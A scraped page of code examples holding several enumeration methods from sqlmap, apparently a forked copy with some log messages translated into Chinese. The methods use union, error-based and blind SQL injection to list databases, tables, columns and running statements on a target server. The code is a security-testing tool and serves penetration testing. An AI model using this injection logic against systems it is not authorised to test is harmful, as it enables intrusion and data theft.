        self.dumpFoundTables(foundTbls)
Ejemplo n.º 13
0
    def getColumns(self,
                   onlyColNames=False,
                   colTuple=None,
                   bruteForce=None,
                   dumpMode=False):
        self.forceDbmsEnum()

        if conf.db is None or conf.db == CURRENT_DB:
            if conf.db is None:
                warnMsg = "missing database parameter. sqlmap is going "
                warnMsg += "to use the current database to enumerate "
                warnMsg += "table(s) columns"
                logger.warn(warnMsg)

            conf.db = self.getCurrentDb()

            if not conf.db:
                errMsg = "unable to retrieve the current "
                errMsg += "database name"
                raise SqlmapNoneDataException(errMsg)

        elif conf.db is not None:
            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2,
                                               DBMS.HSQLDB):
                conf.db = conf.db.upper()

            if ',' in conf.db:
                errMsg = "only one database name is allowed when enumerating "
                errMsg += "the tables' columns"
                raise SqlmapMissingMandatoryOptionException(errMsg)

        conf.db = safeSQLIdentificatorNaming(conf.db)

        if conf.col:
            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                conf.col = conf.col.upper()

            colList = conf.col.split(',')
        else:
            colList = []

        if conf.exclude:
            colList = [_ for _ in colList if _ not in conf.exclude.split(',')]

        for col in colList:
            colList[colList.index(col)] = safeSQLIdentificatorNaming(col)

        colList = filter(None, colList)

        if conf.tbl:
            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2,
                                               DBMS.HSQLDB):
                conf.tbl = conf.tbl.upper()

            tblList = conf.tbl.split(',')
        else:
            self.getTables()

            if len(kb.data.cachedTables) > 0:
                if conf.db in kb.data.cachedTables:
                    tblList = kb.data.cachedTables[conf.db]
                else:
                    tblList = kb.data.cachedTables.values()

                if isinstance(tblList[0], (set, tuple, list)):
                    tblList = tblList[0]

                tblList = list(tblList)
            elif not conf.search:
                errMsg = "unable to retrieve the tables "
                errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(
                    conf.db)
                raise SqlmapNoneDataException(errMsg)
            else:
                return kb.data.cachedColumns

        tblList = filter(None, (safeSQLIdentificatorNaming(_, True)
                                for _ in tblList))

        if bruteForce is None:
            if Backend.isDbms(
                    DBMS.MYSQL) and not kb.data.has_information_schema:
                errMsg = "information_schema not available, "
                errMsg += "back-end DBMS is MySQL < 5.0"
                logger.error(errMsg)
                bruteForce = True

            elif Backend.isDbms(DBMS.ACCESS):
                errMsg = "cannot retrieve column names, "
                errMsg += "back-end DBMS is %s" % DBMS.ACCESS
                logger.error(errMsg)
                bruteForce = True

        if bruteForce:
            resumeAvailable = False

            for tbl in tblList:
                for db, table, colName, colType in kb.brute.columns:
                    if db == conf.db and table == tbl:
                        resumeAvailable = True
                        break

            if resumeAvailable and not conf.freshQueries or colList:
                columns = {}

                for column in colList:
                    columns[column] = None

                for tbl in tblList:
                    for db, table, colName, colType in kb.brute.columns:
                        if db == conf.db and table == tbl:
                            columns[colName] = colType

                    if conf.db in kb.data.cachedColumns:
                        kb.data.cachedColumns[safeSQLIdentificatorNaming(
                            conf.db)][safeSQLIdentificatorNaming(
                                tbl, True)] = columns
                    else:
                        kb.data.cachedColumns[safeSQLIdentificatorNaming(
                            conf.db)] = {
                                safeSQLIdentificatorNaming(tbl, True): columns
                            }

                return kb.data.cachedColumns

            message = "do you want to use common column existence check? %s" % (
                "[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS, )
                else "[y/N/q]")
            choice = readInput(message,
                               default='Y' if 'Y' in message else 'N').upper()

            if choice == 'N':
                return
            elif choice == 'Q':
                raise SqlmapUserQuitException
            else:
                return columnExists(paths.COMMON_COLUMNS)

        rootQuery = queries[Backend.getIdentifiedDbms()].columns
        condition = rootQuery.blind.condition if 'condition' in rootQuery.blind else None

        if any(
                isTechniqueAvailable(_)
                for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR,
                          PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
            for tbl in tblList:
                if conf.db is not None and len(kb.data.cachedColumns) > 0 \
                   and conf.db in kb.data.cachedColumns and tbl in \
                   kb.data.cachedColumns[conf.db]:
                    infoMsg = "fetched tables' columns on "
                    infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(
                        conf.db)
                    logger.info(infoMsg)

                    return {conf.db: kb.data.cachedColumns[conf.db]}

                infoMsg = "fetching columns "
                condQuery = ""

                if len(colList) > 0:
                    if colTuple:
                        _, colCondParam = colTuple
                        infoMsg += "LIKE '%s' " % ", ".join(
                            unsafeSQLIdentificatorNaming(col)
                            for col in sorted(colList))
                    else:
                        colCondParam = "='%s'"
                        infoMsg += "'%s' " % ", ".join(
                            unsafeSQLIdentificatorNaming(col)
                            for col in sorted(colList))

                    condQueryStr = "%%s%s" % colCondParam
                    condQuery = " AND (%s)" % " OR ".join(
                        condQueryStr %
                        (condition, unsafeSQLIdentificatorNaming(col))
                        for col in sorted(colList))

                if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL,
                                                   DBMS.HSQLDB):
                    query = rootQuery.inband.query % (
                        unsafeSQLIdentificatorNaming(tbl),
                        unsafeSQLIdentificatorNaming(conf.db))
                    query += condQuery
                elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                    query = rootQuery.inband.query % (
                        unsafeSQLIdentificatorNaming(tbl.upper()),
                        unsafeSQLIdentificatorNaming(conf.db.upper()))
                    query += condQuery
                elif Backend.isDbms(DBMS.MSSQL):
                    query = rootQuery.inband.query % (
                        conf.db, conf.db, conf.db, conf.db,
                        conf.db, conf.db, conf.db,
                        unsafeSQLIdentificatorNaming(tbl).split(".")[-1])
                    query += condQuery.replace("[DB]", conf.db)
                elif Backend.getIdentifiedDbms() in (DBMS.SQLITE,
                                                     DBMS.FIREBIRD):
                    query = rootQuery.inband.query % unsafeSQLIdentificatorNaming(
                        tbl)

                if dumpMode and colList:
                    values = [(_, ) for _ in colList]
                else:
                    infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(
                        tbl)
                    infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(
                        conf.db)
                    logger.info(infoMsg)

                    values = None
                    if Backend.isDbms(DBMS.MSSQL) and isTechniqueAvailable(
                            PAYLOAD.TECHNIQUE.UNION):
                        expression = query
                        kb.dumpColumns = []
                        kb.rowXmlMode = True

                        for column in extractRegexResult(
                                r"SELECT (?P<result>.+?) FROM",
                                query).split(','):
                            kb.dumpColumns.append(randomStr().lower())
                            expression = expression.replace(
                                column,
                                "%s AS %s" % (column, kb.dumpColumns[-1]), 1)

                        values = unionUse(expression)
                        kb.rowXmlMode = False
                        kb.dumpColumns = None

                    if values is None:
                        values = inject.getValue(query,
                                                 blind=False,
                                                 time=False)

                if Backend.isDbms(DBMS.MSSQL) and isNoneValue(values):
                    index, values = 1, []

                    while True:
                        query = rootQuery.inband.query2 % (
                            conf.db, unsafeSQLIdentificatorNaming(tbl), index)
                        value = unArrayizeValue(
                            inject.getValue(query, blind=False, time=False))

                        if isNoneValue(value) or value == " ":
                            break
                        else:
                            values.append((value, ))
                            index += 1

                if Backend.isDbms(DBMS.SQLITE):
                    parseSqliteTableSchema(unArrayizeValue(values))
                elif not isNoneValue(values):
                    table = {}
                    columns = {}

                    for columnData in values:
                        if not isNoneValue(columnData):
                            name = safeSQLIdentificatorNaming(columnData[0])

                            if name:
                                if conf.getComments:
                                    _ = queries[Backend.getIdentifiedDbms(
                                    )].column_comment
                                    if hasattr(_, "query"):
                                        if Backend.getIdentifiedDbms() in (
                                                DBMS.ORACLE, DBMS.DB2):
                                            query = _.query % (
                                                unsafeSQLIdentificatorNaming(
                                                    conf.db.upper()),
                                                unsafeSQLIdentificatorNaming(
                                                    tbl.upper()),
                                                unsafeSQLIdentificatorNaming(
                                                    name.upper()))
                                        else:
                                            query = _.query % (
                                                unsafeSQLIdentificatorNaming(
                                                    conf.db),
                                                unsafeSQLIdentificatorNaming(
                                                    tbl),
                                                unsafeSQLIdentificatorNaming(
                                                    name))

                                        comment = unArrayizeValue(
                                            inject.getValue(query,
                                                            blind=False,
                                                            time=False))
                                        if not isNoneValue(comment):
                                            infoMsg = "retrieved comment '%s' for column '%s'" % (
                                                comment, name)
                                            logger.info(infoMsg)
                                    else:
                                        warnMsg = "on %s it is not " % Backend.getIdentifiedDbms(
                                        )
                                        warnMsg += "possible to get column comments"
                                        singleTimeWarnMessage(warnMsg)

                                if len(columnData) == 1:
                                    columns[name] = None
                                else:
                                    key = int(columnData[1]) if isinstance(
                                        columnData[1],
                                        basestring) and columnData[1].isdigit(
                                        ) else columnData[1]
                                    if Backend.isDbms(DBMS.FIREBIRD):
                                        columnData[1] = FIREBIRD_TYPES.get(
                                            key, columnData[1])
                                    elif Backend.isDbms(DBMS.INFORMIX):
                                        notNull = False
                                        if isinstance(key, int) and key > 255:
                                            key -= 256
                                            notNull = True
                                        columnData[1] = INFORMIX_TYPES.get(
                                            key, columnData[1])
                                        if notNull:
                                            columnData[
                                                1] = "%s NOT NULL" % columnData[
                                                    1]

                                    columns[name] = columnData[1]

                    if conf.db in kb.data.cachedColumns:
                        kb.data.cachedColumns[safeSQLIdentificatorNaming(
                            conf.db)][safeSQLIdentificatorNaming(
                                tbl, True)] = columns
                    else:
                        table[safeSQLIdentificatorNaming(tbl, True)] = columns
                        kb.data.cachedColumns[safeSQLIdentificatorNaming(
                            conf.db)] = table

        elif isInferenceAvailable() and not conf.direct:
            for tbl in tblList:
                if conf.db is not None and len(kb.data.cachedColumns) > 0 \
                   and conf.db in kb.data.cachedColumns and tbl in \
                   kb.data.cachedColumns[conf.db]:
                    infoMsg = "fetched tables' columns on "
                    infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(
                        conf.db)
                    logger.info(infoMsg)

                    return {conf.db: kb.data.cachedColumns[conf.db]}

                infoMsg = "fetching columns "
                condQuery = ""

                if len(colList) > 0:
                    if colTuple:
                        _, colCondParam = colTuple
                        infoMsg += "LIKE '%s' " % ", ".join(
                            unsafeSQLIdentificatorNaming(col)
                            for col in sorted(colList))
                    else:
                        colCondParam = "='%s'"
                        infoMsg += "'%s' " % ", ".join(
                            unsafeSQLIdentificatorNaming(col)
                            for col in sorted(colList))

                    condQueryStr = "%%s%s" % colCondParam
                    condQuery = " AND (%s)" % " OR ".join(
                        condQueryStr %
                        (condition, unsafeSQLIdentificatorNaming(col))
                        for col in sorted(colList))

                if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL,
                                                   DBMS.HSQLDB):
                    query = rootQuery.blind.count % (
                        unsafeSQLIdentificatorNaming(tbl),
                        unsafeSQLIdentificatorNaming(conf.db))
                    query += condQuery

                elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                    query = rootQuery.blind.count % (
                        unsafeSQLIdentificatorNaming(tbl.upper()),
                        unsafeSQLIdentificatorNaming(conf.db.upper()))
                    query += condQuery

                elif Backend.isDbms(DBMS.MSSQL):
                    query = rootQuery.blind.count % (conf.db, conf.db, \
                        unsafeSQLIdentificatorNaming(tbl).split(".")[-1])
                    query += condQuery.replace("[DB]", conf.db)

                elif Backend.isDbms(DBMS.FIREBIRD):
                    query = rootQuery.blind.count % unsafeSQLIdentificatorNaming(
                        tbl)
                    query += condQuery

                elif Backend.isDbms(DBMS.INFORMIX):
                    query = rootQuery.blind.count % (
                        conf.db, conf.db, conf.db, conf.db, conf.db,
                        unsafeSQLIdentificatorNaming(tbl))
                    query += condQuery

                elif Backend.isDbms(DBMS.SQLITE):
                    query = rootQuery.blind.query % unsafeSQLIdentificatorNaming(
                        tbl)
                    value = unArrayizeValue(
                        inject.getValue(query, union=False, error=False))
                    parseSqliteTableSchema(value)
                    return kb.data.cachedColumns

                table = {}
                columns = {}

                if dumpMode and colList:
                    count = 0
                    for value in colList:
                        columns[safeSQLIdentificatorNaming(value)] = None
                else:
                    infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(
                        tbl)
                    infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(
                        conf.db)
                    logger.info(infoMsg)

                    count = inject.getValue(query,
                                            union=False,
                                            error=False,
                                            expected=EXPECTED.INT,
                                            charsetType=CHARSET_TYPE.DIGITS)

                    if not isNumPosStrValue(count):
                        if Backend.isDbms(DBMS.MSSQL):
                            count, index, values = 0, 1, []
                            while True:
                                query = rootQuery.blind.query3 % (
                                    conf.db, unsafeSQLIdentificatorNaming(tbl),
                                    index)
                                value = unArrayizeValue(
                                    inject.getValue(query,
                                                    union=False,
                                                    error=False))
                                if isNoneValue(value) or value == " ":
                                    break
                                else:
                                    columns[safeSQLIdentificatorNaming(
                                        value)] = None
                                    index += 1

                        if not columns:
                            errMsg = "unable to retrieve the %scolumns " % (
                                "number of "
                                if not Backend.isDbms(DBMS.MSSQL) else "")
                            errMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(
                                tbl)
                            errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(
                                conf.db)
                            logger.error(errMsg)
                            continue

                for index in getLimitRange(count):
                    if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL,
                                                       DBMS.HSQLDB):
                        query = rootQuery.blind.query % (
                            unsafeSQLIdentificatorNaming(tbl),
                            unsafeSQLIdentificatorNaming(conf.db))
                        query += condQuery
                        field = None
                    elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,
                                                         DBMS.DB2):
                        query = rootQuery.blind.query % (
                            unsafeSQLIdentificatorNaming(tbl.upper()),
                            unsafeSQLIdentificatorNaming(conf.db.upper()))
                        query += condQuery
                        field = None
                    elif Backend.isDbms(DBMS.MSSQL):
                        query = rootQuery.blind.query.replace(
                            "'%s'", "'%s'" %
                            unsafeSQLIdentificatorNaming(tbl).split(".")[-1]
                        ).replace("%s", conf.db).replace("%d", str(index))
                        query += condQuery.replace("[DB]", conf.db)
                        field = condition.replace("[DB]", conf.db)
                    elif Backend.isDbms(DBMS.FIREBIRD):
                        query = rootQuery.blind.query % unsafeSQLIdentificatorNaming(
                            tbl)
                        query += condQuery
                        field = None
                    elif Backend.isDbms(DBMS.INFORMIX):
                        query = rootQuery.blind.query % (
                            index, conf.db, conf.db, conf.db, conf.db, conf.db,
                            unsafeSQLIdentificatorNaming(tbl))
                        query += condQuery
                        field = condition

                    query = agent.limitQuery(index, query, field, field)
                    column = unArrayizeValue(
                        inject.getValue(query, union=False, error=False))

                    if not isNoneValue(column):
                        if conf.getComments:
                            _ = queries[
                                Backend.getIdentifiedDbms()].column_comment
                            if hasattr(_, "query"):
                                if Backend.getIdentifiedDbms() in (DBMS.ORACLE,
                                                                   DBMS.DB2):
                                    query = _.query % (
                                        unsafeSQLIdentificatorNaming(
                                            conf.db.upper()),
                                        unsafeSQLIdentificatorNaming(
                                            tbl.upper()),
                                        unsafeSQLIdentificatorNaming(
                                            column.upper()))
                                else:
                                    query = _.query % (
                                        unsafeSQLIdentificatorNaming(conf.db),
                                        unsafeSQLIdentificatorNaming(tbl),
                                        unsafeSQLIdentificatorNaming(column))

                                comment = unArrayizeValue(
                                    inject.getValue(query,
                                                    union=False,
                                                    error=False))
                                if not isNoneValue(comment):
                                    infoMsg = "retrieved comment '%s' for column '%s'" % (
                                        comment, column)
                                    logger.info(infoMsg)
                            else:
                                warnMsg = "on %s it is not " % Backend.getIdentifiedDbms(
                                )
                                warnMsg += "possible to get column comments"
                                singleTimeWarnMessage(warnMsg)

                        if not onlyColNames:
                            if Backend.getIdentifiedDbms() in (DBMS.MYSQL,
                                                               DBMS.PGSQL):
                                query = rootQuery.blind.query2 % (
                                    unsafeSQLIdentificatorNaming(tbl), column,
                                    unsafeSQLIdentificatorNaming(conf.db))
                            elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,
                                                                 DBMS.DB2):
                                query = rootQuery.blind.query2 % (
                                    unsafeSQLIdentificatorNaming(
                                        tbl.upper()), column,
                                    unsafeSQLIdentificatorNaming(
                                        conf.db.upper()))
                            elif Backend.isDbms(DBMS.MSSQL):
                                query = rootQuery.blind.query2 % (
                                    conf.db, conf.db, conf.db, conf.db, column,
                                    conf.db, conf.db, conf.db,
                                    unsafeSQLIdentificatorNaming(tbl).split(
                                        ".")[-1])
                            elif Backend.isDbms(DBMS.FIREBIRD):
                                query = rootQuery.blind.query2 % (
                                    unsafeSQLIdentificatorNaming(tbl), column)
                            elif Backend.isDbms(DBMS.INFORMIX):
                                query = rootQuery.blind.query2 % (
                                    conf.db, conf.db, conf.db,
                                    conf.db, conf.db,
                                    unsafeSQLIdentificatorNaming(tbl), column)

                            colType = unArrayizeValue(
                                inject.getValue(query,
                                                union=False,
                                                error=False))

                            key = int(colType) if isinstance(
                                colType,
                                basestring) and colType.isdigit() else colType
                            if Backend.isDbms(DBMS.FIREBIRD):
                                colType = FIREBIRD_TYPES.get(key, colType)
                            elif Backend.isDbms(DBMS.INFORMIX):
                                notNull = False
                                if isinstance(key, int) and key > 255:
                                    key -= 256
                                    notNull = True
                                colType = INFORMIX_TYPES.get(key, colType)
                                if notNull:
                                    colType = "%s NOT NULL" % colType

                            column = safeSQLIdentificatorNaming(column)
                            columns[column] = colType
                        else:
                            column = safeSQLIdentificatorNaming(column)
                            columns[column] = None

                if columns:
                    if conf.db in kb.data.cachedColumns:
                        kb.data.cachedColumns[safeSQLIdentificatorNaming(
                            conf.db)][safeSQLIdentificatorNaming(
                                tbl, True)] = columns
                    else:
                        table[safeSQLIdentificatorNaming(tbl, True)] = columns
                        kb.data.cachedColumns[safeSQLIdentificatorNaming(
                            conf.db)] = table

        if not kb.data.cachedColumns:
            warnMsg = "unable to retrieve column names for "
            warnMsg += ("table '%s' " %
                        unsafeSQLIdentificatorNaming(unArrayizeValue(tblList))
                        ) if len(tblList) == 1 else "any table "
            warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(
                conf.db)
            logger.warn(warnMsg)

            if bruteForce is None:
                return self.getColumns(onlyColNames=onlyColNames,
                                       colTuple=colTuple,
                                       bruteForce=True)

        return kb.data.cachedColumns
Ejemplo n.º 14
0
    def getTables(self, bruteForce=None):
        if len(kb.data.cachedTables) > 0:
            return kb.data.cachedTables

        self.forceDbmsEnum()

        if bruteForce is None:
            if Backend.isDbms(
                    DBMS.MYSQL) and not kb.data.has_information_schema:
                errMsg = "information_schema not available, "
                errMsg += "back-end DBMS is MySQL < 5.0"
                logger.error(errMsg)
                bruteForce = True

            elif Backend.isDbms(DBMS.ACCESS):
                try:
                    tables = self.getTables(False)
                except SqlmapNoneDataException:
                    tables = None

                if not tables:
                    errMsg = "cannot retrieve table names, "
                    errMsg += "back-end DBMS is Access"
                    logger.error(errMsg)
                    bruteForce = True
                else:
                    return tables

        if conf.db == CURRENT_DB:
            conf.db = self.getCurrentDb()

        if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2,
                                                       DBMS.HSQLDB):
            conf.db = conf.db.upper()

        if conf.db:
            dbs = conf.db.split(',')
        else:
            dbs = self.getDbs()

        dbs = [_ for _ in dbs if _ and _.strip()]

        for db in dbs:
            dbs[dbs.index(db)] = safeSQLIdentificatorNaming(db)

        if bruteForce:
            resumeAvailable = False

            for db, table in kb.brute.tables:
                if db == conf.db:
                    resumeAvailable = True
                    break

            if resumeAvailable and not conf.freshQueries:
                for db, table in kb.brute.tables:
                    if db == conf.db:
                        if conf.db not in kb.data.cachedTables:
                            kb.data.cachedTables[conf.db] = [table]
                        else:
                            kb.data.cachedTables[conf.db].append(table)

                return kb.data.cachedTables

            message = u"您是否希望使用公共表检查存在性? %s " % (
                "[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS, )
                else "[y/N/q]")
            choice = readInput(message,
                               default='Y' if 'Y' in message else 'N').upper()

            if choice == 'N':
                return
            elif choice == 'Q':
                raise SqlmapUserQuitException
            else:
                return tableExists(paths.COMMON_TABLES)

        infoMsg = u"获取数据库中的表"
        infoMsg += "%s: '%s'" % ("s" if len(dbs) > 1 else "", ", ".join(
            unsafeSQLIdentificatorNaming(unArrayizeValue(db))
            for db in sorted(dbs)))
        logger.info(infoMsg)

        rootQuery = queries[Backend.getIdentifiedDbms()].tables

        if any(
                isTechniqueAvailable(_)
                for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR,
                          PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
            query = rootQuery.inband.query
            condition = rootQuery.inband.condition if 'condition' in rootQuery.inband else None

            if condition:
                if not Backend.isDbms(DBMS.SQLITE):
                    query += " WHERE %s" % condition

                    if conf.excludeSysDbs:
                        infoMsg = u"跳过系统数据库%s '%s'" % ("s" if len(
                            self.excludeDbsList) > 1 else "", ", ".join(
                                unsafeSQLIdentificatorNaming(db)
                                for db in self.excludeDbsList))
                        logger.info(infoMsg)
                        query += " IN (%s)" % ','.join(
                            "'%s'" % unsafeSQLIdentificatorNaming(db)
                            for db in sorted(dbs)
                            if db not in self.excludeDbsList)
                    else:
                        query += " IN (%s)" % ','.join(
                            "'%s'" % unsafeSQLIdentificatorNaming(db)
                            for db in sorted(dbs))

                if len(dbs) < 2 and ("%s," % condition) in query:
                    query = query.replace("%s," % condition, "", 1)

            values = inject.getValue(query, blind=False, time=False)

            if not isNoneValue(values):
                values = filter(None, arrayizeValue(values))

                if len(values) > 0 and not isListLike(values[0]):
                    values = [(dbs[0], _) for _ in values]

                for db, table in filterPairValues(values):
                    db = safeSQLIdentificatorNaming(db)
                    table = safeSQLIdentificatorNaming(unArrayizeValue(table),
                                                       True)

                    if db not in kb.data.cachedTables:
                        kb.data.cachedTables[db] = [table]
                    else:
                        kb.data.cachedTables[db].append(table)

        if not kb.data.cachedTables and isInferenceAvailable(
        ) and not conf.direct:
            for db in dbs:
                if conf.excludeSysDbs and db in self.excludeDbsList:
                    infoMsg = "skipping system database '%s'" % unsafeSQLIdentificatorNaming(
                        db)
                    logger.info(infoMsg)

                    continue

                infoMsg = u"获取数据库'%s'中的表数量" % unsafeSQLIdentificatorNaming(db)
                logger.info(infoMsg)

                if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD,
                                                   DBMS.MAXDB, DBMS.ACCESS):
                    query = rootQuery.blind.count
                else:
                    query = rootQuery.blind.count % unsafeSQLIdentificatorNaming(
                        db)

                count = inject.getValue(query,
                                        union=False,
                                        error=False,
                                        expected=EXPECTED.INT,
                                        charsetType=CHARSET_TYPE.DIGITS)

                if count == 0:
                    warnMsg = u"数据库'%s'似乎是空的" % unsafeSQLIdentificatorNaming(
                        db)
                    logger.warn(warnMsg)
                    continue

                elif not isNumPosStrValue(count):
                    warnMsg = u"无法检索数据库'%s'的表数量" % unsafeSQLIdentificatorNaming(
                        db)
                    logger.warn(warnMsg)
                    continue

                tables = []

                plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE,
                                                          DBMS.DB2)
                indexRange = getLimitRange(count, plusOne=plusOne)

                for index in indexRange:
                    if Backend.isDbms(DBMS.SYBASE):
                        query = rootQuery.blind.query % (db, (
                            kb.data.cachedTables[-1]
                            if kb.data.cachedTables else " "))
                    elif Backend.getIdentifiedDbms() in (DBMS.MAXDB,
                                                         DBMS.ACCESS):
                        query = rootQuery.blind.query % (
                            kb.data.cachedTables[-1]
                            if kb.data.cachedTables else " ")
                    elif Backend.getIdentifiedDbms() in (DBMS.SQLITE,
                                                         DBMS.FIREBIRD):
                        query = rootQuery.blind.query % index
                    elif Backend.getIdentifiedDbms() in (DBMS.HSQLDB,
                                                         DBMS.INFORMIX):
                        query = rootQuery.blind.query % (
                            index, unsafeSQLIdentificatorNaming(db))
                    else:
                        query = rootQuery.blind.query % (
                            unsafeSQLIdentificatorNaming(db), index)

                    table = unArrayizeValue(
                        inject.getValue(query, union=False, error=False))
                    if not isNoneValue(table):
                        kb.hintValue = table
                        table = safeSQLIdentificatorNaming(table, True)
                        tables.append(table)

                if tables:
                    kb.data.cachedTables[db] = tables
                else:
                    warnMsg = u"无法检索数据库'%s'的表名" % unsafeSQLIdentificatorNaming(
                        db)
                    logger.warn(warnMsg)

        if isNoneValue(kb.data.cachedTables):
            kb.data.cachedTables.clear()

        if not kb.data.cachedTables:
            errMsg = u"无法检索任何数据库的表名"
            if bruteForce is None:
                logger.error(errMsg)
                return self.getTables(bruteForce=True)
            elif not conf.search:
                raise SqlmapNoneDataException(errMsg)
        else:
            for db, tables in kb.data.cachedTables.items():
                kb.data.cachedTables[db] = sorted(tables) if tables else tables

        if kb.data.cachedTables:
            for db in kb.data.cachedTables.keys():
                kb.data.cachedTables[db] = list(set(kb.data.cachedTables[db]))

        return kb.data.cachedTables
Ejemplo n.º 15
0
    def getStatements(self):
        infoMsg = "fetching SQL statements"
        logger.info(infoMsg)

        rootQuery = queries[Backend.getIdentifiedDbms()].statements

        if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
            query = rootQuery.inband.query

            while True:
                values = inject.getValue(query, blind=False, time=False)

                if not isNoneValue(values):
                    kb.data.cachedStatements = []
                    for value in arrayizeValue(values):
                        value = (unArrayizeValue(value) or "").strip()
                        if not isNoneValue(value):
                            kb.data.cachedStatements.append(value.strip())

                elif Backend.isDbms(DBMS.PGSQL) and "current_query" not in query:
                    query = query.replace("query", "current_query")
                    continue

                break

        if not kb.data.cachedStatements and isInferenceAvailable() and not conf.direct:
            infoMsg = "fetching number of statements"
            logger.info(infoMsg)

            query = rootQuery.blind.count
            count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

            if count == 0:
                return kb.data.cachedStatements
            elif not isNumPosStrValue(count):
                errMsg = "unable to retrieve the number of statements"
                raise SqlmapNoneDataException(errMsg)

            plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2)
            indexRange = getLimitRange(count, plusOne=plusOne)

            for index in indexRange:
                value = None

                if Backend.getIdentifiedDbms() in (DBMS.MYSQL,):  # case with multiple processes
                    query = rootQuery.blind.query3 % index
                    identifier = unArrayizeValue(inject.getValue(query, union=False, error=False, expected=EXPECTED.INT))

                    if not isNoneValue(identifier):
                        query = rootQuery.blind.query2 % identifier
                        value = unArrayizeValue(inject.getValue(query, union=False, error=False, expected=EXPECTED.INT))

                if isNoneValue(value):
                    query = rootQuery.blind.query % index
                    value = unArrayizeValue(inject.getValue(query, union=False, error=False))

                if not isNoneValue(value):
                    kb.data.cachedStatements.append(value)

        if not kb.data.cachedStatements:
            errMsg = "unable to retrieve the statements"
            logger.error(errMsg)
        else:
            kb.data.cachedStatements = [_.replace(REFLECTED_VALUE_MARKER, "<payload>") for _ in kb.data.cachedStatements]

        return kb.data.cachedStatements
Ejemplo n.º 16
0
    def getDbs(self):
        if len(kb.data.cachedDbs) > 0:
            return kb.data.cachedDbs

        infoMsg = None

        if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
            warnMsg = "information_schema not available, "
            warnMsg += "back-end DBMS is MySQL < 5. database "
            warnMsg += "names will be fetched from 'mysql' database"
            logger.warn(warnMsg)

        elif Backend.isDbms(DBMS.ORACLE):
            warnMsg = "schema names are going to be used on Oracle "
            warnMsg += "for enumeration as the counterpart to database "
            warnMsg += "names on other DBMSes"
            logger.warn(warnMsg)

            infoMsg = "fetching database (schema) names"
        elif Backend.isDbms(DBMS.DB2):
            warnMsg = "schema names are going to be used on IBM DB2 "
            warnMsg += "for enumeration as the counterpart to database "
            warnMsg += "names on other DBMSes"
            logger.warn(warnMsg)

            infoMsg = "fetching database (schema) names"
        else:
            infoMsg = "fetching database names"

        if infoMsg:
            logger.info(infoMsg)

        rootQuery = queries[Backend.getIdentifiedDbms()].dbs

        if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR)) or conf.direct:
            if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
                query = rootQuery.inband.query2
            else:
                query = rootQuery.inband.query
            value = inject.getValue(query, blind=False, time=False)

            if not isNoneValue(value):
                kb.data.cachedDbs = arrayizeValue(value)

        if not kb.data.cachedDbs and isInferenceAvailable() and not conf.direct:
            infoMsg = "fetching number of databases"
            logger.info(infoMsg)

            if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
                query = rootQuery.blind.count2
            else:
                query = rootQuery.blind.count
            count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

            if not isNumPosStrValue(count):
                errMsg = "unable to retrieve the number of databases"
                logger.error(errMsg)
            else:
                plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2)
                indexRange = getLimitRange(count, plusOne=plusOne)

                for index in indexRange:
                    if Backend.isDbms(DBMS.SYBASE):
                        query = rootQuery.blind.query % (kb.data.cachedDbs[-1] if kb.data.cachedDbs else " ")
                    elif Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
                        query = rootQuery.blind.query2 % index
                    else:
                        query = rootQuery.blind.query % index
                    db = inject.getValue(query, union=False, error=False)

                    if db:
                        kb.data.cachedDbs.append(safeSQLIdentificatorNaming(db))

        if not kb.data.cachedDbs and Backend.isDbms(DBMS.MSSQL):
            if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR)) or conf.direct:
                blinds = (False, True)
            else:
                blinds = (True,)

            for blind in blinds:
                count = 0
                kb.data.cachedDbs = []
                while True:
                    query = rootQuery.inband.query2 % count
                    value = inject.getValue(query, blind=blind)
                    if not value:
                        break
                    else:
                        kb.data.cachedDbs.append(unArrayizeValue(value))
                        count += 1
